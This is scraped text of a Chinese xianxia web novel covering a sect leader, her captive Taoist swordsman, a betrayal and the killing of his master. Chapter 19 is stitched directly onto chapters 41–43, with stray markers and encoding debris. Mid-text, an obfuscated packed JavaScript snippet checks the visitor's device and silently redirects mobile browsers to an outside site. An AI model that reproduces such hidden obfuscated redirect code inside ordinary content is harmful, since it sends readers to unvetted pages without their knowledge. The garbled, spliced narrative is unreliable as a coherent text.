风声中只传来女人呜呜的哭泣,凉得令人心惊。 “老母。”韩云澈虚弱地呼唤。 19.第 19 章 刘巧娥一言不发地,沉默俯视着昔日这位枕边人,双眼平静无波,犹如在看裙角下的一粒埃尘。 韩云澈忍不住打了个寒噤。 无数个同床共枕的日日夜夜,旁人都以为他受尽宠爱,而他也有些忘乎所以了,竟认为自己能以情算计这个冷酷无情的女人。 大名鼎鼎的无垢老母,又岂是自己这等无名小卒可以掌握的? 韩云澈自知死期将近。微微偏头看了眼身边哭泣的恋人。只求刘巧娥能放白梦离一条性命。“今日之事,皆为我一人糊涂,与梦娘无关,还求老母放过梦娘性命。” 刘巧娥隔了好一会儿,才终于开了口,语气淡淡,有些置身事外的冷漠:“为什么?” 韩云澈一愣。 白梦离悲愤道:“为什么?!韩郎迫于你的淫威,委身于你,这几年来又受尽多少苦楚!” “梦娘!”韩云澈眼里顿时浮现出屈辱,痛苦之色,“别说了!为救你性命,这是我心甘情愿!” 白梦离:“我偏要说!这几年下来,我苦苦忍耐,忍受这你们这些人的荒淫无度,忍受你们的威逼利诱,忍受你们的腌臜手段,也要留在这里,仅仅只是为了能远远地多瞧上韩郎一眼罢了。” 韩云澈眼里也忍不住涌出热泪来。 刘巧娥却不置可否:“当初是你们跟我立下的约定,我并未胁迫你二人。” 白梦离:“但你从未说过让韩郎跟着你是——是为了做你的——” 另一边,慕道瑛终于从双方的只言片语中,大致拼凑出事情的来龙去脉。 这其实是个再老套不过的故事。 韩云澈、白梦离,本青梅竹马,情投意合。 两人出身高贵,门第相当,父母也一早为其许下婚约。 订婚之后,两人更是常常结伴同行,一路锄强扶弱,行侠仗义,砥砺道心。 或许是因为年少气盛,行事难免有些疏漏,一日,某某地出现一只妖兽作乱。 二人匆匆赶去,一番苦战之后,妖兽虽然被降服,白梦离却也身受重伤,命悬一线。 在这最要紧的关头,无垢老母恰巧出现在此地。 韩云澈的年轻俊美,令无垢老母一见倾心。 接下来的一切,便可想而知了。 无垢老母帮韩云澈救助白梦离,代价是,他必须要跟她回合欢宫。 白梦离醒来之后,爱人早已不见踪影,唯身边留书一封,内心痛苦可想而知。 百般煎熬之下,终于下定决心舍弃本来姓名,化名为“白梦离”,追随韩云澈拜入了这个自己最痛恨,鄙薄的魔窟淫窝。 韩云澈闭了眼。 这几年来逢场作戏,而今,人之将死,他终于不必,也不愿再多看刘巧娥一眼。 “在下当日的确曾许下过‘愿做牛做马’的诺言。” 可他没想到,随之到来的是怎样一个噩梦。 他被打骂,被逼迫,被送上了这个女魔的床榻,被迫—— 一想到此,韩云澈便不由浑身颤抖,咬紧了牙关。 被迫伺候一个自己并不爱的女人。 多少个逢场作戏,担惊受怕,如娼妓一般卖笑取媚的日夜。 韩云澈只觉自己的灵魂连同身体也被出卖了。 而这对于出生世家,孤傲清高韩云澈而言又是何等耻辱。 当戚湄找上他时,他不假思索,一口便答应了参与针对无垢的这场背叛。 他不后悔今日所作所为,只恨自己没能亲手断送这女魔性命,只怕牵连了梦娘性命。 “成王败寇,愿赌服输。”韩云澈闭上眼,不敢去看爱人的双眼,鬓角淌下两行热泪来,“要杀要剐,悉听尊便,只这一切与梦娘无关,还望老母,看在这一千多个日夜的份上,饶她一条性命。” 白梦离心仿佛被刀凿斧劈一般,活生生裂开了两半。 伏在爱人垂死的身躯之上痛哭不止,“你求她做什么,咱们敢作敢当,今日我便跟你一起死在这里,也没什么好怕的。” 两人之情深义重,就连在场见惯了风月的合欢宗子弟都不由动容。 慕道瑛也感到不忍。 刘巧娥却阴晴不定地冷眼睨着这一对亡命鸳鸯,“好。你想死,我自当成全你!” 竟不顾昔日同床共枕之旧情,翻手一掌便击向韩云澈天灵。 韩云澈身受重伤,毫无防备,以白梦离修为哪里又拦得住她,只能眼睁睁看着情郎被她当场拍死。 刹那间,白梦离眼前天旋地转,悲愤过了度,面上血色尽褪,眼看就要气绝,追随而去。 刘巧娥紧接着便拍出了第二掌。 只是这第二掌,直将人拍晕了事,并未要了她的性命。 如今,刘巧娥可算明白自己对白梦离那无缘无故的厌恶到底从何而来了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15086089|161721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有女人会喜欢另一个觊觎自己男人的女人。再说这女人还是出自云山宋氏! 纵使刘巧娥对韩云澈不过一时新鲜,并无多少情意。 纵使,这男人是她从别的女人身边“抢来”的。 她都不在乎。 只要她每次来到韩云澈的寝宫,男人总要笑脸相迎,温柔伺候,她并不想了解他背后到底有多少耻辱多少痛苦。 她救人,他卖身,两讫的交易,她自认也算磊落。至于白梦离,她到底没有亲自对她动手。分身的这几年来,即便相看两生厌,也算有几分厌恶之情,放她一条生路不过动动手指的功夫。 如此一来,眼下这一场乱局便算尽了了。 无垢老母甫一出关,便杀伤了数条人命,造成眼下这个令人噤若寒蝉的局面。 合欢大典毕竟是合欢宫中意义不凡的盛会。无垢老母转头命令陈玉柔继续主持大会,自己则纵一道流光,转瞬没入远处的合欢宫主峰浮花殿内。 随着无垢老母回到主宫,人群中的刘巧娥脚一顿地,也紧随其后,消失在了天际。 昔日空荡荡的主殿,今日终于迎来它的主人。 四面门扇洞开,帷幔冷吹,金砖墁就的地面坚硬冷清。 慕道瑛被刘巧娥置于袖中,一路带回了主殿。甫一落地,他便被她从袖口掷了出来,双膝重重跌磕在了光可鉴人的大块金砖前。 遍体鳞伤又被砸在地面上的滋味并不好受,慕道瑛伶仃手腕缓缓撑住地面,强支起半个身子,观察着眼前这个女人。 ……刘巧娥跟无垢老母是何关系? 他心念急转了半圈,下一秒,却看到了令自己惊讶到以至于毕生都难以忘记的一幕。 刘巧娥的身形竟化一道流光,转瞬没入了无垢老母的体内! 无垢老母,不,或者说“刘巧娥”,这才足不沾地“走”了过来。 她居高临下地俯视着这个匍匐在地上的青年道子。 慕道瑛抬眼,修鼻深目,眸色深邃如渊,波澜不惊。 他这才惊觉,刘巧娥其实有着跟无垢老母如出一辙的气质。 瘦冷,阴沉。 他想得太入神,以至于并未注意到他的目光停留在刘巧娥身上的时间已经太长。 直到突如其来的一巴掌足打得慕道瑛侧过头去,唇角淌下一缕血沫来。 刘巧娥厉喝道:“放肆!谁准你看我的!” 40-50 第41章 第 41 章 若我遇到,必定杀他…… 这一晚上, 刘巧娥并没有歇息好。 宿雾城的古怪跟罗那吉脱不了干系。 返魂灯近在咫尺,慕道瑛又骗她,诸事累积缠绕, 剪不断理还乱。 第二天一早,她便出了门, 跟宋妙菱等人继续沿着外圈探查。 孰料回去的路上,却遇到一人拦路。 那人素白道袍,乌发垂落, 神情苍白黯淡, 如一尊薄透的琉璃美人。 饶是已经伤透了心,恨极了眼前这个人,刘巧娥还是不自觉地停下了脚步, “你来干什么?!” 慕道瑛的神情艰涩, 看起来似乎还想再跟她说几句话,“……巧娥。” 他一早便来她回村的必经之地堵她了, 果然见到这个魂牵梦萦的小小身影。 刘巧娥的态度却十分冷漠:“我说过, 我知道你为何要跑。” 慕道瑛怔了怔。 “仙盟想杀你师父,我为仙盟做事, ”刘巧娥嗓音冷得犹如冰渣,“若我遇到, 必定杀他。” 他在乎他的师尊, 在乎他的朋友,他是天上的明月, 朗照万物, 如此温柔如此无私,本就不缺她一个! 他似乎也没料到她会这样直接罢,面色微微变了, 显而易见变得更加苍白。 “你不如想清楚,”她最后冷冷抛下一句,“到底要如何抉择。” 说完,便举步跟他擦肩而过。 她了解慕道瑛,知道他会做出什么样的抉择。 离去前,她回眸瞧了他一眼,见那道苍白的影子仿佛凝固在了树下,他似乎觉得冷,冷得如坠冰窖一般,一阵风吹来,他眼睫颤了颤,面色苍白得仿佛生机也一点点被从他脸上吹去了。 他没有追上来,她不出所料地冷笑一声,知道他已经想清楚了。 一点她强求而来的微末好感罢了,又怎抵得过师徒相伴多年的岁月长? 若当初强求的不是她,是戚湄,是任何一个女人,他恐怕都会生出这淡淡好感吧? 她了解慕道瑛这样的童男,青涩,正直又容易心软,稍微发生点不一般的关系,便容易沦陷,动辄就要承担责任。 她恨他多情,又恨他无情。 又等了一日功夫,郑绅前来回报说,升降梯已经修好,明日魔门便要派人来交接了,请老母示下。 矿底核心明显下不去那么多人,刘巧娥便留了一批人在上面接应,自己只跟几个长老,带一批精锐好手下去。 “先下去看看,也好确定明日的埋伏布置。” 升降梯轰隆隆,缓缓启动,一片巨大的嗡鸣声中,刘巧娥通过矿石散发的幽蓝色光芒,瞥见慕道瑛的身影,他神情有些疲惫,眼下泛着淡淡的青黑。 这两日恐怕辗转反侧,过得很不快活吧。 但也好,他果然已作出了抉择。 他静静地,孤悬于人群之外,垂袖而立,既不靠近她跟合欢宗,也不靠近赵言歌,沈澄因所在的玉清,游剑两派。 几步之遥,默默跟她保持了距离。 这时,经过漫长的下落之后,升降梯终于降下,刘巧娥眸光不由一凝。 在场众人都有些骚动哗然。 “这是……”沈澄因不禁惊呼失色,“怎会?!” “所以这便是城中地动频发之故了。”郑绅苦笑。 只见这地下矿脉大多已经坍塌了大半,纵横交错的灵脉如枯木朽枝,泛着灰败的漆黑的魔气! 顺着灵脉的走势,可见一颗被牢牢包裹在正中央的硕大无比的灵核。 每一条灵脉,都有一颗灵核,灵核是灵脉的心脏。 这颗灵核便是任家村矿场的灵核。 但此刻,灵核表面已经被魔气侵染地漆黑,油黑色的雾气在它表面不断闪烁流溢,它仿佛仍在慢慢地跳动着,却一点点将魔气泵送到每一条灵脉,侵染整个矿场。 “仙盟成日里逼我们挖矿,导致地气失衡,地动频发!又间接导致灵脉衰竭,魔气侵蚀。” “天数流转,魔门将兴,不仅仅是魔门搞出来的谶言,更是实实在在发生的事实啊!”郑绅终于忍不住心中不满,激动地喊道。 狄冲:“闭嘴!你好大的胆子,找死不成?” 郑绅:“不!我要说!即便如此,我还是要说!” 慕道瑛望见那颗灰暗的灵核,心里轻轻一震。 自那日跟刘巧娥分别之后,他便度过了浑浑噩噩的两日,心中难受,之愁肠百转,郁郁寡欢,是从小到大生平仅有。 此时见这灵核,竟如梦初醒,心中隐约有所感。师父。慕道瑛忍不住,也不得不多想,难道师父之前留讯便是为了让他,或者说,他们看到眼前这一幕? 刘巧娥:“你让他说!” 郑绅跪倒在地,连t?嗑了几个响头:“老母,诸位长老!仙盟不能再这样毫无节制地挖下去了!如今已经不是我们这一村如此,而是村村如此,灵气枯竭,魔气已经在向天下蔓延了!” 宋妙菱喃喃:“我明白你的意思,可我们……唉……” 仙盟世家掌握东华界已逾万年。他们又岂不知竭泽而渔的道理? 他们虽贵为一门长老,可又如何抵得过整个门派的意志?哪怕是掌门,也不能任凭自己的心意做事。 真当他们不明白,不清楚,不了解吗?但凡能做到长老之位的,就没有一个傻子。 只是利益盘根错杂,越是庞大的修仙世家利益连接越深,他们便是绑在一架旧战车的蚂蚱,心知肚明,可谁也没那个能力令战车调头,只能眼看战车冲向灭亡。 “便是灵脉真枯竭了,魔气也没有侵染得这么快的道理。”刘巧娥冷泉般的嗓音,此时便如主心骨一般注入众人心田, “等明日,魔门来此地交接,再行询问。诸位可不要忘了我们来此的目的。” “我们的目的是返魂灯,莫要被这些搅扰了心神。” 赖永乐忙道:“老母说得正是此理。” 此言一出,众人便陆陆续续分散开来,商量着明天可以埋伏在哪里,如何布置云云。 终于,等到了约定的时间。 临行前,刘巧娥告诫郑绅跟那几个村民,“你们往常是怎么交接的,便怎么交接,不必管我们。” 郑绅为难:“他们特地命我们对付诸位……若来,必定要先确认诸位的生死。” “我不管你们用什么的理由,什么样的方法,”刘巧娥不留情面地打断他,“总而言之,必须先将他们引到地底来!” 郑绅见她强硬,只得无奈应下。 刘巧娥一己之力保住他们性命,又找来队伍中的医修弟子来给他们看病,连同郑绅在内的任家村众人如今对她十分信服。 郑绅跟那几个青壮村民都应了。 刘巧娥等人则隐匿了气息,暗藏于地底核心的灵脉死角。 升降梯缓缓降下,这一次郑绅领着三五个身披黑色罩袍的魔修走了下来。 双方人马简单地说了两句,为首一个颊上绘有魔纹的魔修,从袖中取出几瓶丹药。 “这药可不普通,可注意着点!” “我们要的那些修士呢?尤其是那个姓慕的……” 暗地里。 他?慕道瑛袖中的手也不免微微一震,渗出汗来。 其他人的目光都从四面八方汇聚到他身上,他只惊讶了一瞬,便迅速镇定了下来,不动声色地将手重拢入袖。 郑绅赔笑道:“都捉住了,喏,马上就到了,就在前面。” “这几人到底是什么身份?”他故作纳罕道,“怎劳动诸位大人如此大驾!” “那姓慕的是上面点名要杀的,你问这么多做什么?” “老母。”宋妙菱望向刘巧娥。 刘巧娥目注前方,冷若冰霜,轻点下颌。 宋妙菱接受到讯息,回头冲众人比了个手势。 “杀!!” 下一秒,接受到指令的仙盟众弟子,纷纷从暗处一跃而出! “怎么回事?!” “操,有埋伏!!” 那些魔人不及反应,手忙脚乱,怎敌得过埋伏妥当细致的仙盟众人?几乎不费吹灰之力,便被刘巧娥等人当场拿下。 也有魔修在乱起的刹那,怒不可遏,下意识去抓郑绅跟那几个青壮。 他们慌不择路,落荒而逃,正要殒命魔修迁怒之下时。 刘巧娥回头抬袖,可她慢了一瞬,只见一道碧莹莹的流光闪过! 一道颀秀,瘦弱的身影挡在他们身前。 慕道瑛双眉紧皱,身形虽单薄,却如山岳般巍然不动。值此紧要关头,竟只有他,考虑到了这些村民的生死。 “仙、仙长。”村民战战兢兢。 慕道瑛微不可察颔首,轻声说:“快躲起来。” 他下意识寻找刘巧娥的身影,却遇她回望的视线不期而遇。 两人都有些怔愣。 郑绅忙拉着村民们跑远了。 最终还是慕道瑛犹豫了一下,先行朝她牵了牵唇角,可惜他性子疏淡,不太会笑。 刘巧娥神情复杂地转过脸,专心望向为首那个魔纹魔人。 这几个魔修被擒,眼看逃跑无望,眼里纷纷掠过一点狠绝! “不要!”宋妙菱脱口而出,“快拦住他们——” 嗤! 她话音未落的下一秒,眼前甩过一串鲜血! 刘巧娥冷着一张脸,毫不留情地将她那一只纤细洁白的手臂插入那魔纹魔修丹田! 魔纹魔修惨叫一声。 哗! 又是一声鲜血飞溅的声响。 刘巧娥伸手在他丹田里搅了搅,硬生生挖出一颗通体墨黑,婴儿拳头大小的内丹来。 “你、你……”魔纹魔修痛得惨叫连连,冷汗濡湿了眼睫。 刘巧娥面无表情将手伸到他眼前,当着他的面,指尖轻轻用力,“嘎嘣”一声捏碎成齑粉。 “现在,让我们来谈谈,到底是谁派你们来的?” 那魔纹魔修怒叫了一声,奋力争开身后仙盟弟子的束缚,朝刘巧娥扑了上去! 但还没近到她衣角,慕道瑛不知从哪里眼疾手快地冒了出来,提剑将他攻势拨回。 剑身“嗡”地颤了颤,慕道瑛低头看见剑上裂痕,心里忍不住叹了口气。 他逢春失落,这是几日之前随便在宿雾城修士武器店中买来的,凡铁制成。 无暇多想,他提剑挡在刘巧娥面前,目光留意着剩下那几个魔人。 他昨日已经想得很清楚了,苍白的面色沉静如秋水。 倘若刘巧娥跟师尊对上,他无法坐视不理,放弃师尊。 师尊毕竟与他有这些年的情谊…… 但在此之前,他仍是她之男君俘虏,保护主君,是他理应尽到的责任。 慕道瑛下定了决心,道心便又圆融坚定了许多。 那些魔修自然不肯就此投降的。 不过没关系,仙盟自然有许多刑讯的手段。 那酷烈画面,惨声叫喊,令慕道瑛目不忍睹,耳不忍闻,轻轻别过眼。 “怎么?”一道声音自他脑后响起。 慕道瑛指尖轻轻一颤,仿佛有电流顺着耳后蔓延至天灵,后背,骨酥肉颤。 是刘巧娥。 “慕道长连对魔物也大发善心?这些手段你难道不曾经历过?” 慕道瑛深吸一口气,竭力稳定了心神:“见其生不忍见其死,闻其声不忍食其肉。那不一样。” “如何不一样?” “比如,”慕道瑛已经感觉好多了,平静道,“我虽不忍,却不会拦。” 刘巧娥嗤笑一声,没再继续说什么。 终于,一个魔人扛不住酷刑,颤抖着跪倒在地上,“我说,我什么都说!” 慕道瑛循声看向他,刘巧娥走到他面前。 原本正行刑的狄冲冷笑一声,将剑尖自他肩头拔出,对上刘巧娥视线,少年矜傲又不失礼节地点头行礼,“老母。” 他拔出剑,带出一串血滴,飞溅到了刘巧娥裙摆,慕道瑛微不可察蹙了蹙眉。 “你们背后的主使是谁?”刘巧娥裙边一划,如花瓣般层层展开,慢悠悠问。 魔人道:“是……是长老,就是食骨宗的长老!让我们来传教……再想办法取得这些村民的信任,之后,之后污染灵核。” 果然,单凭灵核自己衰竭,是远不止侵蚀得这么快的。 刘巧娥眉头微挑,“你刚刚说,上头点名要杀那个姓慕的?怎么回事?” 魔人道:“我不知道!我们不知道!”他似乎也知晓死期将近,说与不说只不过是少受些折磨,目光历历扫过一众仙盟弟子,眼里突然闪过一点仇恨,报复之意,“是你们仙盟的人要杀他!” 此言一出,全场哗然! 慕道瑛面不改色端住了剑,稳稳不动。 那魔人恨声道:“是你们仙盟!你们仙盟有人跟咱们长老合作,点名要杀他!我们正巧在这里,便让我们动手了!” “你胡说!”狄冲勃然变色,上前便拽着那魔人啪啪几掌,阴沉道:“到处攀咬,你想死不成?” 魔人唇角淌血,大笑几声,“你们谁不知道仙盟早有人暗中投靠魔门了?!都是装聋作哑!” 刘巧娥:“方才你们给任家村村民的药是什么?用什么制成?珍贵,有多珍贵?” 魔人面色微微一变,忽又改了口风,“我不知道!!” 这下,不论仙盟众人如何逼问他似乎后悔了,也绝不肯再说了。 见状,刘巧娥问狄冲借来佩剑,一剑刺死了他,又看向他身边一个矮个魔人。 那魔人“噗通”一声跪倒在地,“我、我说……” “那药是你们仙盟的人给我t?们的!” “你放肆!”赵言歌不知何故,变了脸色,他一向浪荡温驯,此时却也走上前,恨恨地一脚踹那魔人心口,“这迷药分明散发魔气,如何跟仙盟有关?!死到临头,不求生路,还想陷害!” 咏章…… 慕道瑛一怔,不明白为何赵言歌突然变了脸色。 这药……电光火石之间,他想起什么,也赫然变色!苍白容颜,一滴冷汗自鬓角缓缓滑落,险些再端不住剑。 “便如你所说,我都死到临头,又何必陷害你们!这药极其特殊难以炼制,是你们仙盟有人给我们的,再配合我们魔门秘法加以辅助!若不是我们接到命令,要杀那个姓慕的,也拿不到这等秘药!” 众人错愕不解间,下意识都将目光投向慕道瑛。 宋妙菱:“慕小友,这到底是怎么回事?” 慕道瑛无奈地缓缓闭上了眼睛,“宋长老,瑛又如何知晓?” 宋妙菱讷讷,也知晓问错了人。 可无人知晓慕道瑛内心的不平静。 这迷药跟大梦丹有关! 大梦丹能迷倒刘巧娥,拿下宋妙菱,赵言歌等人自然不再话下。 难怪他之前嗅那迷药,隐隐约约觉得熟悉,是因为即便经过魔门改进遮掩,几味药材仍是跟大梦丹有相似之处。 而这等细微差距非玉清弟子,非玉清内门弟子,精英中的精英,绝难觉察。 毕竟寻常弟子连接触到大梦丹的可能性也没有。 能取得极其珍稀罕见的材料,运使 灵母玉液鼎,还能指使门内丹修长老苦心多年,批量练就大梦丹—— 又要杀他之人—— 答案如今已经呼之欲出,清虚! 除了清虚掌教不作第二人选。 可慕道瑛不愿相信。 他强压下内心的震骇,愕然。却不禁又想起师父灵元离去前那句。 他并未跟魔门勾结,跟魔门勾结的人是清虚! 难道师父真的没说错,跟魔门勾结的真的是清虚掌教! 若此事光明于天下,那又将玉清弟子置于何地?难怪咏章突然变了脸色,看来咏章也想到了其中关节。 师父,慕道瑛闭上眼,耳畔嗡嗡乱响,心乱如麻,难道这才是你引徒儿来此的真相?! 正当慕道瑛不知所措间,突然!灵脉深处又传来一声异响! 刘巧娥等人都变了脸色,一催遁光,追逐那声响而去,“什么人?!” “灵元?!” 慕道瑛遽然变色,也不顾大梦丹的疑点,奋起直追而去! 第42章 第 42 章 我杀了你师父,怎么样?…… “灵元?!” 矿脉深处, 身形矮胖的灵元真人急催遁光,想要逃跑,却被刘、宋、赖、狄等人的法器打落。 “灵元!” 宋妙菱冷喝道:“你还敢来此, 是来自投罗网不成?” “灵元。”想起那几个被俘的魔门弟子,赖永乐面色沉重道, “你果真跟魔门勾结?!” 一向乐天多话的灵元子,却默然不言。 “师父!”后发而至的慕道瑛乍见师尊,还是光天化日, 堂堂正正, 四目相对之下而见,情不自禁,动容脱口! 灵元自然也看到了他, 看到了这个最疼爱的小徒弟, 可他什么也没说,那张胖乎乎的脸上, 骤然露出一抹凝重, 决绝之色! 刘巧娥:“灵元,交出返魂灯!若再执迷不悟,修怪我们手下无情了!” 灵元仍只是看了众人一眼,催动遁光, 调头就跑!可他还没跑出几步之遥, 便被众人各色法器宝光团团围住! 灵元当即立断,放出返魂灯。 灯芒暴涨的一瞬间, 众人已不比上次, 早就有了预料,各运法门躲避。 返魂灯虽为道器,但毕竟不具备刀枪剑戟等武器之效, 只传说搭配相应秘法,他便能活死人肉白骨。 其灯芒虽然能令众人短暂迷失方向,但此一招落败,灵元便也没了什么旁的法子,只能跟众人缠斗在一起。 师徒连心。 瞧见灵元脸上那抹决绝之色,慕道瑛心头一突,涌现出一股不详预感,“不——” 他面色大变,亟欲飞身上前跟师尊同进退,却被早有提防的其他仙盟弟子拦下! 慕道瑛脸上难得露出惊怒之色,“你们定要拦我?!” 那些仙盟弟子道:“是老母吩咐,叫我们看紧了你。” 慕道瑛一怔。 “让开。”他冷然道,容色难得冷漠。 那几个仙盟弟子:“慕仙长不要与我们为难。” “更何况,慕仙长你如今拿什么跟我们较量?”一仙盟弟子将他通身打量了一遍,出言讥讽道,“用这样的下等凡铁吗?身为剑修连自己的本命剑也护不住。我若是你,沦落到你这地步,不若死了干净。” 慕道瑛缓缓阖了眼。 的确,如今的他,又有什么资本跟他们较量,可一日为师终身为父,若眼睁睁见师尊身死而无动于衷,岂非与禽兽无疑? “让开。”慕道瑛睁开一双乌沉清明双眼,又冷冷重复了一次。 那些仙盟弟子仍不为所动。 慕道瑛便也不再啰嗦,残破长剑在手,陡然间,青年柔如春柳的身躯一寸寸爆发出寒冬般凌冽的灵压! 他不愿伤他们的性命,因此纵使胸腔里蕴着一团烈火,烧得他眸色冷亮,面颊泛着不正常的病态嫣红,却依然保持了最大程度上的克制。 甫一交手,那些仙盟弟子才自知大意。 那出言讥讽的仙盟弟子大惊失色。 难怪此人会是上一届春台魁首!纵使筋脉残破,根基不稳,佩剑失落,慕道瑛的剑势仍如白虹贯日一般,沛然而不能御! 更可怕的是,因为急怒,慕道瑛的剑势仿若是焚此残躯而换来的迅疾凌厉。 赵言歌在一边看着,心急如焚。这是从未有过的。慕道瑛与人交手,讲究守柔谦下。 “持而盈之,不如其已。揣而锐之,不可长保。” 他做事从来都留有三分余地,便是春台问道那日,也没见他用尽全力。 赵言歌见他被困,跺了跺脚,终于无法坐视,也挺剑上前,“宁瑕!我来助你!” 慕道瑛抬眸见他,心中感激,却无暇分神跟他道谢,只略略颔首,便又投入战斗之中。 他尚有余力将目光分予赵言歌。 那些仙盟弟子却没这么好受了。 他们不得不调动所有的精神力来对付眼前这个貌似柔弱的年轻人。 慕道瑛是昔日春台问道的魁首,天生剑骨,素来便声名在外。大家年龄相近,又都是门派之中的佼佼者,难免“相轻”,对这位玉剑丹心多有妒羡,不服。 后来,见他落难,成了无垢老母的男宠,又是一副温驯,软骨头的模样,自然更生出几分轻蔑。 直到,现在。置身于慕道瑛看似绵柔,实则浩然刚沛的剑势之下,这些仙盟弟子才知大错特错! 道家素来讲究以柔克刚。 慕道瑛的剑势,落在那些仙盟弟子眼里,乍一看,慢得惊人。 对。 慢。 慢的同时,极稳,极静。 仿若日月不转,江河停留。 江河竞注而不流,才更显险峻! 这些仙盟弟子也恍若置身江河之中,分明,江波不兴,但沾衣湿透,他们被周身绵绵的江水黏住,动作节奏也不由慢下来,被慕道瑛的剑式带的团团转。 而在水面之下,才是危机四伏,步步杀机! 慕道瑛当然是不可能滥杀他们无辜性命的。 所以这便是他致命的弱点。 他不杀伤性命,便导致这些仙盟弟子纵使被他打退,少顷,也如蚁聚一般一波波又拥上来。 而慕道瑛一抬眼的功夫,看见灵元已身陷险境! 他脸色倏然苍白,便是有咏章助阵,他还是来不及!! 赖永乐的剑已经刺入灵元的背心。 宋妙菱的判官笔也点在他肋下。 狄冲的剑砍伤了他的左肩。 而刘巧娥—— 刘巧娥的目光曾短暂间跟灵元交汇。 四目相对的刹那间,她冰封的面色仿若波动了一瞬,仅此一瞬,便毫不留情将血罗刹送入了灵元的心口! 四个人从四个方向,四面八方一围而上! 慕道瑛被仙盟弟子们的攻势分隔,见此一幕,心神巨震,悲痛难抑,肝肠寸断! “师父!!” 可灵元不会再回答他了。 他的身形如破布口袋一般飞了出去。 慕道瑛浑身上下的血液凝固了,眼前闪过一片濛濛白光,他握剑的手软了下来。 其他仙盟弟子见灵元身死,便也纷纷放松了对他的辖制。 慕道瑛脚下如踩棉花一般,恍恍惚惚走到灵元身边,白净的脸上露出空茫茫的神色, 莫大的悲痛感染了在场众人,场中为之一静。 慕道瑛不知道事情怎么会发展到这个地步t?。 “师父,师父……!”他浑浑噩噩跪倒在他身边,茫茫然叫着,惨然如失群的雏燕孤鸟。 他记得他刚上小寒山时,曾有段时间是极为冷淡内敛的,是师父谆谆教导,循循善诱,一点点打开了他封闭的内心,他教他修炼,教他处事原则,教他分善恶,行侠义,温柔待人。 他曾经因出生书香,家风极端严。 又自小病弱,不愿表现得比其他兄弟姐妹更差,便强行压抑了孩子天性,日复一日习字念书,难免倔强好胜,锋芒毕露了些。 是灵元一点点教他上善若水的道理。他心宽体胖,总爱笑,总想补偿他一个正确的童年,每次出门总给他带一大堆凡人界时兴的玩具。 这个习惯甚至保持到了他成年之后,他成年也总把他当小子看待,每每出门,见到什么新奇的小玩意儿都要带给他。 他无奈地看着那磨喝乐,风筝,糖葫芦,也不忍心拂去他的好意。 灵元当他喜欢,送得更起劲了。 可此刻,这个笑眯眯的师父,浑如隔血葫芦一般,他下意识握住他的手, 没想到,他手指竟动了一下,还残留一口气未断! “师父!”慕道瑛浑身一震,惊喜交加地反握住他的手,如牙牙学语的孩子一般不断叫起来。 “宁、宁瑕……”灵元气喘吁吁,口鼻不断涌出鲜血,每说一句话仿佛都用尽了残存的全部生命力。 慕道瑛心痛如绞,泪水纷下,想叫他别说了,却又知他必死无疑,不忍见他死不瞑目,只能一遍遍握他的手,“师父,我在,徒儿在,都是徒儿不好……” 师尊明明给他传讯,给他却还是没能及时救下他的性命! “别……”灵元的眼里闪烁着的不是遗憾,不是不舍。 而是焦急和不忍。 “别、别为……”可他一句话还没说完,一口气上不来,嗬嗬了几声,便当场气绝。 慕道瑛刹那间只觉得整个世界都旋转颠倒了起来,还没等他回神,一道身影蓦然闪过!拽着他的衣领,将他丢到几丈之外。 慕道瑛浑身磕在林立突起的碎矿之间,缥色道袍瞬间染红。 刘巧娥冷冰冰提起他领口:“我杀了你师父,怎么样?你要替他报仇吗?” 慕道瑛不说话,乌黑的眼里泛起水雾,怔怔地,他深吸了一口气,缓缓合上眼,颤抖的眼睫淌下两行珠泪来。 第43章 第 43 章 若有下次,用这把剑来杀…… 报仇吗? 他看着刘巧娥, 漆黑莹润的眼底浮现出浓浓的迷茫。 他理当是该报仇的。可比起恨意,弥漫在体内的更多的却是痛,那是一种血肉神魂仿佛都被撕裂的痛楚。 她早已明说。仙盟要杀灵元。 她不过也是在替仙盟做事。 便没有她, 也会有宋妙菱,赖永乐…… 倘若那迷药真的是大梦丹所改进, 那么他真正的仇人也理当是清虚。 慕道瑛惨然一笑,他是不是还要感谢她方才至少一剑穿心,给了师父一个痛快? 理智归理智, 可胸中仿佛火一般炸开的痛楚, 却令他无法再平静地看待眼前的女子。 慕道瑛惨白的唇动了动,他慢慢折下腰,摸索着, 提起了地上那把残破的剑。 刘巧娥的面色刹那间变得尤为难看。 “你疯了!” “你当真以为你能打得过我?” 她眼光如刀, 冰寒刺骨,慢慢地强调, “你知道, 你对我拔剑意味着什么吗?” 长剑在手,那冰冷的触感令慕道瑛定了定心神。修道多年,剑,几乎与他神魂共融, 剑是杀器, 同样也是他的半身。 他瘦弱的脊背,一点点停止了颤抖。呼吸也渐渐平稳了下来。 “知道。”他平静地, 慢慢地说, 泪水仿佛流干了。 刘巧娥冷嘲道:“你以为我不会杀你?” “尽其道而死者,正命也。”慕道瑛的语气平静中多了分决绝。 “好!”刘巧娥冷冷一笑,白莲祭出, “你既然一心求死,那我成全你!” “你上罢!念你我根基,我让你几招。” 慕道瑛缓缓深吸了一口气,深知他二人境界之差,也不矫揉造作,长剑在手,剑鸣如金玉,身如流星,挺剑刺来! 好快的一招! 剑光飒沓,近到身前,一道剑光分化百千条剑光在眼前炸开!刘巧娥吃了一惊,饶是她,也不得倒退两步,避其锋芒。 慕道瑛当真无愧是惊才绝艳的少年奇才! 他先声夺人,剑光如狂风骤雨,怒浪滔天,环环相扣,绵绵不绝。 这时,赵言歌、宋妙菱等人也都追了上来,见铺天盖地的剑网,都纷纷露出惊叹之色。 剑有剑气,一气呵成,江流直下,方为剑道之上品。 慕道瑛这一口剑气便吐得极为漂亮,凡铁制成的长剑提他手里如蛟龙倒悬,龙鸣星动。 一剑紧递一剑,如浪推波,前波未平,后波又至。汩汩然而绵绵不绝。 外人看着如临海观潮,赏心悦目,可置身于剑网之中的人却没那么好受了,只觉剑光闪烁如银,每一道剑光便蕴一道杀机。 蛛丝结网一般,铺天盖地罩来,人坐困其中,找不到丝毫插手反击的余地。 